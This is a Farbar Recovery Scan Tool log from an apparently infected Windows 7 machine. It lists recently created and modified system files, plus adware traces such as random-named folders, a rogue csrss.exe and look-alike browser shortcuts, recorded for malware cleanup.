2017-06-16 16:55 - 2017-05-12 20:24 - 01732864 _____ (Microsoft Corporation) C:\Windows\system32\ntdll.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 01163264 _____ (Microsoft Corporation) C:\Windows\system32\kernel32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00880640 _____ (Microsoft Corporation) C:\Windows\system32\advapi32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00503808 _____ (Microsoft Corporation) C:\Windows\system32\srcore.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00419840 _____ (Microsoft Corporation) C:\Windows\system32\KernelBase.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00405504 _____ (Microsoft Corporation) C:\Windows\system32\gdi32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00362496 _____ (Microsoft Corporation) C:\Windows\system32\wow64win.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00243712 _____ (Microsoft Corporation) C:\Windows\system32\wow64.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00215552 _____ (Microsoft Corporation) C:\Windows\system32\winsrv.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00100864 _____ (Microsoft Corporation) C:\Windows\system32\fontsub.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00063488 _____ (Microsoft Corporation) C:\Windows\system32\setbcdlocale.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00059904 _____ (Microsoft Corporation) C:\Windows\system32\appidapi.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00050176 _____ (Microsoft Corporation) C:\Windows\system32\srclient.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00046080 _____ (Adobe Systems) C:\Windows\system32\atmlib.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00044032 _____ (Microsoft Corporation) C:\Windows\system32\csrsrv.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00041472 _____ (Microsoft Corporation) C:\Windows\system32\lpk.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00034816 _____ (Microsoft Corporation) C:\Windows\system32\appidsvc.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00016384 _____ (Microsoft Corporation) C:\Windows\system32\ntvdm64.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00014336 _____ (Microsoft Corporation) C:\Windows\system32\dciman32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00013312 _____ (Microsoft Corporation) C:\Windows\system32\wow64cpu.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00006656 _____ (Microsoft Corporation) C:\Windows\system32\apisetschema.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00006144 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-security-base-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00005120 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-file-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004608 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-threadpool-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004608 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-processthreads-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-sysinfo-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-synch-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-localregistry-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-localization-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-rtlsupport-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-processenvironment-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-namedpipe-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-misc-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-memory-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-libraryloader-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-heap-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-xstate-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-util-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-string-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-profile-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-io-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-interlocked-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-handle-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-fibers-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-errorhandling-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-delayload-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-debug-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-datetime-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-console-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:07 - 00308456 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\atmfd.dll
2017-06-16 16:55 - 2017-05-12 20:04 - 01314112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntdll.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 01114112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\kernel32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00644096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\advapi32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00629760 _____ (Microsoft Corporation) C:\Windows\SysWOW64\usp10.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00313344 _____ (Microsoft Corporation) C:\Windows\SysWOW64\gdi32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00275456 _____ (Microsoft Corporation) C:\Windows\SysWOW64\KernelBase.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00070656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\fontsub.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00050688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\appidapi.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00043008 _____ (Microsoft Corporation) C:\Windows\SysWOW64\srclient.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00025600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\lpk.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00010240 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dciman32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00006656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\apisetschema.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00005120 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-file-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00005120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wow32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004608 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-processthreads-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-sysinfo-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-synch-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-misc-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-localregistry-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-localization-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-processenvironment-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-namedpipe-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-memory-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-libraryloader-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-interlocked-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-heap-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-string-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-rtlsupport-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-profile-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-io-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-handle-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-fibers-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-errorhandling-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-delayload-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-debug-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-datetime-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-console-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:55 - 00148480 _____ (Microsoft Corporation) C:\Windows\system32\appidpolicyconverter.exe
2017-06-16 16:55 - 2017-05-12 19:54 - 00062464 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\appid.sys
2017-06-16 16:55 - 2017-05-12 19:54 - 00017920 _____ (Microsoft Corporation) C:\Windows\system32\appidcertstorecheck.exe
2017-06-16 16:55 - 2017-05-12 19:51 - 00338432 _____ (Microsoft Corporation) C:\Windows\system32\conhost.exe
2017-06-16 16:55 - 2017-05-12 19:50 - 00296960 _____ (Microsoft Corporation) C:\Windows\system32\rstrui.exe
2017-06-16 16:55 - 2017-05-12 19:46 - 00112640 _____ (Microsoft Corporation) C:\Windows\system32\smss.exe
2017-06-16 16:55 - 2017-05-12 19:43 - 00034304 _____ (Adobe Systems) C:\Windows\SysWOW64\atmlib.dll
2017-06-16 16:55 - 2017-05-12 19:41 - 00025600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\setup16.exe
2017-06-16 16:55 - 2017-05-12 19:41 - 00014336 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntvdm64.dll
2017-06-16 16:55 - 2017-05-12 19:41 - 00007680 _____ (Microsoft Corporation) C:\Windows\SysWOW64\instnm.exe
2017-06-16 16:55 - 2017-05-12 19:41 - 00002048 _____ (Microsoft Corporation) C:\Windows\SysWOW64\user.exe
2017-06-16 16:55 - 2017-05-12 19:40 - 00006144 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-security-base-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:40 - 00004608 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-threadpool-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:40 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-xstate-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:40 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-util-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 18:25 - 01251328 _____ (Microsoft Corporation) C:\Windows\SysWOW64\DWrite.dll
2017-06-16 16:55 - 2017-05-12 17:58 - 01648128 _____ (Microsoft Corporation) C:\Windows\system32\DWrite.dll
2017-06-16 16:55 - 2017-05-12 17:58 - 01180160 _____ (Microsoft Corporation) C:\Windows\system32\FntCache.dll
2017-06-16 16:55 - 2017-05-10 17:33 - 00091368 _____ (Microsoft Corporation) C:\Windows\system32\MigAutoPlay.exe
2017-06-16 16:55 - 2017-05-10 17:29 - 03165184 _____ (Microsoft Corporation) C:\Windows\system32\wucltux.dll
2017-06-16 16:55 - 2017-05-10 17:29 - 01867776 _____ (Microsoft Corporation) C:\Windows\system32\ExplorerFrame.dll
2017-06-16 16:55 - 2017-05-10 17:29 - 00192512 _____ (Microsoft Corporation) C:\Windows\system32\wuwebv.dll
2017-06-16 16:55 - 2017-05-10 17:29 - 00098816 _____ (Microsoft Corporation) C:\Windows\system32\wudriver.dll
2017-06-16 16:55 - 2017-05-10 17:28 - 00091136 _____ (Microsoft Corporation) C:\Windows\system32\WinSetupUI.dll
2017-06-16 16:55 - 2017-05-10 17:16 - 00091368 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MigAutoPlay.exe
2017-06-16 16:55 - 2017-05-10 17:13 - 00709120 _____ (Microsoft Corporation) C:\Windows\system32\wuapi.dll
2017-06-16 16:55 - 2017-05-10 17:13 - 00140288 _____ (Microsoft Corporation) C:\Windows\system32\wuauclt.exe
2017-06-16 16:55 - 2017-05-10 17:13 - 00037888 _____ (Microsoft Corporation) C:\Windows\system32\wups2.dll
2017-06-16 16:55 - 2017-05-10 17:13 - 00037888 _____ (Microsoft Corporation) C:\Windows\system32\wuapp.exe
2017-06-16 16:55 - 2017-05-10 17:13 - 00036864 _____ (Microsoft Corporation) C:\Windows\system32\wups.dll
2017-06-16 16:55 - 2017-05-10 17:13 - 00012288 _____ (Microsoft Corporation) C:\Windows\system32\wu.upgrade.ps.dll
2017-06-16 16:55 - 2017-05-10 17:12 - 01499648 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ExplorerFrame.dll
2017-06-16 16:55 - 2017-05-10 17:12 - 00174080 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuwebv.dll
2017-06-16 16:55 - 2017-05-10 17:00 - 00573440 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuapi.dll
2017-06-16 16:55 - 2017-05-10 17:00 - 00093696 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wudriver.dll
2017-06-16 16:55 - 2017-05-10 17:00 - 00035328 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuapp.exe
2017-06-16 16:55 - 2017-05-10 17:00 - 00030208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wups.dll
2017-06-16 16:55 - 2017-05-10 16:52 - 00117248 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\tdx.sys
2017-06-16 16:55 - 2017-05-09 17:29 - 00970240 _____ (Microsoft Corporation) C:\Windows\system32\localspl.dll
2017-06-16 16:55 - 2017-05-09 17:11 - 00497664 _____ (Microsoft Corporation) C:\Windows\SysWOW64\win32spl.dll
2017-06-16 16:55 - 2017-05-07 17:33 - 00094440 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mountmgr.sys
2017-06-16 16:55 - 2017-05-07 17:29 - 00011264 _____ (Microsoft Corporation) C:\Windows\system32\msmmsp.dll
2017-06-16 16:55 - 2017-03-30 17:03 - 00046080 _____ (Microsoft Corporation) C:\Windows\system32\rundll32.exe
2017-06-16 16:55 - 2017-03-30 16:58 - 00045056 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rundll32.exe
==================== One Month Modified Files and Folders =======
(If an entry is included in the fixlist, the file\folder will be moved.)
2017-07-03 21:41 - 2017-06-29 16:10 - 00016682 _____ () C:\Windows\System32\Tasks\eStark
2017-07-03 21:38 - 2016-03-18 17:24 - 00000000 ____D () C:\Users\Uzivatel\Desktop\FRST-OlderVersion
2017-07-03 21:38 - 2014-08-09 11:40 - 00000000 ____D () C:\FRST
2017-07-03 21:38 - 2010-03-16 13:00 - 02034086 _____ () C:\Windows\WindowsUpdate.log
2017-07-03 21:32 - 2010-04-23 14:49 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\Skype
2017-07-03 21:31 - 2017-07-03 21:30 - 00000003 ____H () C:\ProgramData\cm-lock
2017-07-03 21:30 - 2015-12-27 23:15 - 00000062 _____ () C:\service.log
2017-07-03 21:30 - 2014-11-18 15:40 - 00098548 _____ () C:\Windows\setupact.log
2017-07-03 21:30 - 2013-05-31 21:42 - 00000350 _____ () C:\Windows\Tasks\AVG-Secure-Search-Update_JUNE2013_TB_rmv.job
2017-07-03 21:30 - 2009-07-14 07:08 - 00000006 ____H () C:\Windows\Tasks\SA.DAT
2017-07-03 21:27 - 2017-05-07 21:27 - 00002480 ____H () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2017-07-03 21:27 - 2014-09-15 19:54 - 00002058 ____H () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2017-07-03 21:27 - 2013-04-21 00:04 - 00001100 ____H () C:\Users\Uzivatel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-07-03 10:53 - 2009-07-14 06:45 - 00023392 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2017-07-03 10:53 - 2009-07-14 06:45 - 00023392 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2017-07-03 10:50 - 2017-06-29 19:09 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\ooq45k0gz3k
2017-07-03 10:50 - 2017-06-29 16:20 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\1fqb43r0ntz
2017-07-03 10:49 - 2017-06-29 16:08 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\slt0o43qupq
2017-07-03 10:48 - 2017-06-29 16:07 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\tqvg0555bo0
2017-07-03 10:45 - 2015-04-08 20:31 - 00000000 ____D () C:\Users\DefaultAppPool
2017-07-03 10:42 - 2017-05-09 10:13 - 00251832 _____ (Malwarebytes) C:\Windows\system32\Drivers\MBAMSwissArmy.sys
2017-07-03 10:40 - 2014-11-30 13:03 - 00857912 _____ () C:\Windows\PFRO.log
2017-07-03 10:38 - 2014-01-29 16:23 - 00000000 ____D () C:\AdwCleaner
2017-07-03 10:36 - 2017-04-17 13:25 - 00000000 ____D () C:\Windows\Update
2017-07-03 10:36 - 2017-03-30 18:31 - 00000000 ____D () C:\Update
2017-07-03 10:36 - 2017-03-16 18:44 - 00000000 ____D () C:\Windows\system32\log
2017-07-03 10:23 - 2010-03-18 20:40 - 00000000 ____D () C:\ProgramData\ICQ
2017-07-03 10:05 - 2017-07-03 10:05 - 04110280 _____ () C:\Users\Uzivatel\Downloads\adwcleaner_6.047 (2).exe
2017-07-02 12:36 - 2017-07-02 12:36 - 01130328 _____ (Google Inc.) C:\Users\Uzivatel\Downloads\ChromeSetup (1).exe
2017-07-02 12:34 - 2017-07-02 12:34 - 04110280 _____ () C:\Users\Uzivatel\Downloads\adwcleaner_6.047(1).exe
2017-07-02 12:24 - 2017-07-02 12:24 - 04110280 _____ () C:\Users\Uzivatel\Downloads\adwcleaner_6.047 (1).exe
2017-07-02 12:20 - 2017-07-02 12:20 - 04110280 _____ () C:\Users\Uzivatel\Desktop\adwcleaner_6.047.exe
2017-07-01 23:04 - 2016-03-18 17:25 - 00093859 _____ () C:\Users\Uzivatel\Desktop\FRST.txt
2017-07-01 23:02 - 2017-06-30 14:52 - 00001042 _____ () C:\Users\DefaultAppPool\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-07-01 22:16 - 2017-06-29 16:07 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\xgmrsj1ys5i
2017-07-01 21:58 - 2017-07-01 21:58 - 00003162 _____ () C:\Windows\System32\Tasks\{9A61D488-CAEF-4292-8C11-109B7A7214E7}
2017-07-01 21:57 - 2017-07-01 21:57 - 00003162 _____ () C:\Windows\System32\Tasks\{975EC48D-76CF-4AB5-89BE-0F81A3F1DAEC}
2017-07-01 21:56 - 2017-07-01 21:56 - 00003162 _____ () C:\Windows\System32\Tasks\{31BA5A72-3AC8-4833-A0DA-006CF4475CD1}
2017-07-01 10:54 - 2017-06-29 16:30 - 00000000 ____D () C:\ProgramData\AppmallosayoV
2017-06-30 16:33 - 2017-06-30 16:33 - 04110280 _____ () C:\Users\Uzivatel\Downloads\adwcleaner_6.047.exe
2017-06-30 15:19 - 2017-06-29 16:07 - 00000000 ____D () C:\Program Files (x86)\u1f3jffxnwl
2017-06-29 19:09 - 2017-06-29 19:09 - 00000000 ____D () C:\Program Files\I59ZA8EZ7K
2017-06-29 18:43 - 2017-06-29 16:12 - 00003164 _____ () C:\Windows\System32\Tasks\34a6735dd8363e8db5cc880809001e84
2017-06-29 18:38 - 2010-09-18 13:27 - 00004829 _____ () C:\Windows\wininit.ini
2017-06-29 18:37 - 2017-06-29 18:37 - 00013729 ____R () C:\Windows\system32\Drivers\etc\hosts.20170629-183755.backup
2017-06-29 18:37 - 2017-06-29 18:37 - 00013394 ____R () C:\Windows\system32\Drivers\etc\hosts.20170629-183756.backup
2017-06-29 18:37 - 2017-06-29 18:37 - 00009656 ____R () C:\Windows\system32\Drivers\etc\hosts.20170629-183757.backup
2017-06-29 17:43 - 2010-03-19 14:19 - 00000000 ____D () C:\Program Files (x86)\Google
2017-06-29 17:38 - 2017-06-29 16:09 - 00000000 ____D () C:\Program Files (x86)\UCBrowser
2017-06-29 16:33 - 2017-06-29 16:32 - 00000000 ____D () C:\ProgramData\AppmallosayoVs
2017-06-29 16:29 - 2011-07-19 23:22 - 00000000 ____D () C:\Windows\Minidump
2017-06-29 16:24 - 2017-06-29 16:07 - 00000270 __RSH () C:\ProgramData\ntuser.pol
2017-06-29 16:20 - 2017-06-29 16:20 - 00000000 ____D () C:\Program Files\G05HC4PZV0
2017-06-29 16:19 - 2017-06-29 16:19 - 00000270 __RSH () C:\Users\Uzivatel\ntuser.pol
2017-06-29 16:19 - 2010-03-16 13:01 - 00000000 ____D () C:\Users\Uzivatel
2017-06-29 16:08 - 2017-06-29 16:08 - 00000000 ____D () C:\Program Files\SWG63XXW0V
2017-06-29 16:08 - 2017-06-29 16:08 - 00000000 ____D () C:\Program Files\FNJLTCS41J
2017-06-29 16:07 - 2017-06-29 16:07 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\iqglfixjuar
2017-06-29 16:07 - 2017-06-29 16:07 - 00000000 ____D () C:\Program Files\4SYXRXP5F6
2017-06-29 16:07 - 2009-07-14 05:20 - 00000000 ___HD () C:\Windows\system32\GroupPolicy
2017-06-29 16:06 - 2017-06-29 16:06 - 01625824 _____ (The OpenSSL Project, http://www.openssl.org/) C:\Windows\libeay32.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 01559319 _____ (Microsoft Corporation) C:\Windows\csrss.exe
2017-06-29 16:06 - 2017-06-29 16:06 - 00608117 _____ () C:\Windows\libcurl-4.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 00054784 _____ (MingW-W64 Project. All rights reserved.) C:\Windows\libwinpthread-1.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 00002166 ___RS () C:\Users\Uzivatel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Intеrnet Ехрlorer.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00002111 ___RS () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Gооgle Chrоmе.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00002009 ___RS () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Моzillа Firefoх.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00001921 ___RS () C:\Users\Public\Desktop\Моzillа Firefoх.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00001916 ___RS () C:\Users\Public\Desktop\Gооglе Chrоme.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00000000 ____D () C:\Windows\Azart
2017-06-29 16:06 - 2017-06-29 16:06 - 00000000 ____D () C:\Program Files\0KIQQIA15D
2017-06-29 16:06 - 2016-12-16 16:07 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PlaysTV
2017-06-29 16:06 - 2010-04-12 15:56 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TmUnitedForever
2017-06-29 16:05 - 2017-06-29 16:05 - 00001118 _____ () C:\Users\Uzivatel\Desktop\Играть в Dragon Knight.lnk
2017-06-28 14:38 - 2017-06-28 14:38 - 00051629 _____ () C:\Windows\uninstaller.dat
2017-06-24 14:43 - 2017-06-24 14:30 - 00000000 ____D () C:\Users\Uzivatel\Documents\Argo
2017-06-24 14:29 - 2014-05-16 19:25 - 00000000 ____D () C:\ProgramData\Bohemia Interactive
2017-06-20 08:42 - 2017-06-20 08:42 - 00196520 _____ () C:\Windows\system32\Drivers\cfidsk.sys
2017-06-17 19:39 - 2009-07-14 05:20 - 00000000 ____D () C:\Windows\rescache
2017-06-17 10:41 - 2009-07-14 06:45 - 05015264 _____ () C:\Windows\system32\FNTCACHE.DAT
2017-06-17 10:36 - 2009-07-14 05:20 - 00000000 ____D () C:\Windows\SysWOW64\migwiz
2017-06-17 10:36 - 2009-07-14 05:20 - 00000000 ____D () C:\Windows\system32\migwiz
2017-06-17 02:22 - 2012-05-12 21:47 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Silverlight
2017-06-17 02:21 - 2017-03-16 23:25 - 00045472 _____ () C:\Windows\SysWOW64\1
2017-06-17 02:21 - 2012-05-12 21:46 - 00000000 ____D () C:\Program Files\Microsoft Silverlight
2017-06-17 02:21 - 2012-05-12 21:46 - 00000000 ____D () C:\Program Files (x86)\Microsoft Silverlight
2017-06-17 02:20 - 2013-08-14 12:34 - 00000000 ____D () C:\Windows\system32\MRT
2017-06-17 02:20 - 2009-11-16 16:40 - 133627792 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe
2017-06-16 17:27 - 2009-07-14 05:20 - 00000000 ____D () C:\Program Files\Common Files\Microsoft Shared
2017-06-16 17:26 - 2009-07-14 05:20 - 00000000 ____D () C:\Windows\registration
2017-06-16 17:22 - 2012-04-01 10:05 - 00803328 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe
2017-06-16 17:22 - 2012-04-01 10:05 - 00004396 _____ () C:\Windows\System32\Tasks\Adobe Flash Player Updater
2017-06-16 17:22 - 2011-05-29 20:46 - 00144896 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl
2017-06-16 17:22 - 2011-03-30 20:52 - 00000000 ____D () C:\Windows\system32\Macromed
